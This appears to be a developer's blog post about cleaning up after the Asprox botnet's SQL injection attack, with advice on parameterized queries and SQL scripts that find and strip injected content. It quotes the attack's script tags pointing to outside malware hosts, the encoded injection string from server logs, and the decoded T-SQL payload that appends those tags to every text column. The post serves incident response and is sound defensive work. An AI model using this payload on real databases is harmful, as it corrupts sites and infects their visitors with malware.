A site we inherited last year included a number of programming shortcuts, including string concatenation of user data for sql selects. This made the site vulnerable to sql injection attacks. Surprisingly, over the lifetime of the app (5-7 years?), this vulnerability was not exploited to any significant end (that we know of).
Well, that changed recently. Beginning around May13, the asprox botnet increased its activity and began large-scale sql injection attacks. The injection attack aims to inject <script> tags into every text field of the target database. These script tags point to 3rd party sites and cause vulnerable end user machines to download the botnet executable and continue its mission (phishing, spam, more sql injection?). The script tags look like the following:
<script src="http://www.advabnr.com/b.js"></script>
<script src="http://www.adw95.com/b.js"></script>
and a new one beginning June 20:
<script src="http://www.pingbnr.com/b.js"></script>
I fixed the tables that were obviously affected (and paramaterized the relevant asp pages), but I'd been worrying about the extent of the damage to the db and exactly how the injection worked.
SecureWorks.com has an excellent article describing how the sql injection works. This article led me to grep our logs for instances of "DECLARE" and I found the relevant injections, e.g.,
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x44454...%20AS%20VARCHAR(4000));EXEC(@S);--
Well, here's the point of this blog. If you take the above hex string from the log and
translate it, you can work out what the attack is trying to accomplish (I've commented out the exec() statement for safety):
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN --EXEC('UPDATE ['+@T+']
SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.pingbnr.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor
Using this same bit of dynamic sql, one can then work out the compromised tables in the database and begin recovering:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
CREATE TABLE #Affected (TableName
varchar(255))
DECLARE
Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns
b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec('if(exists(select * from ['+@T+'] where ['+@C+'] like ''%<script%''))
insert into #Affected select
TableName='''+@T+'''')
FETCH NEXT FROM Table_Cursor INTO
@T,@C
END CLOSE Table_Cursor
DEALLOCATE
Table_Cursor
select 'Affected Tables:'
select distinct tablename from
#Affected
DROP TABLE #Affected
With a bit of clever string manipulation, you can even automate the "fix":
DECLARE @T VARCHAR(255),@C VARCHAR(255)
CREATE TABLE #Affected (TableName
varchar(255))
insert into #affected select
TableName = 'table_name1'
insert into #affected select
TableName = 'table_name2'
insert into #affected select
TableName = 'table_name3'
DECLARE
Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns
b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
if(exists(select * from #Affected where TableName = @T))
begin
exec('update ['+@T+'] set ['+@C+'] = substring(['+@C+'], 0, charindex(''<script'',['+@C+']))
where ['+@C+'] like ''%<script%''')
end
FETCH NEXT FROM Table_Cursor INTO
@T,@C
END CLOSE Table_Cursor
DEALLOCATE
Table_Cursor
DROP TABLE #Affected
Of course, nothing is fixed until you deal with your careless coding -- you've got a ticking time bomb. They could wipe out your db if they so choose.
--Brett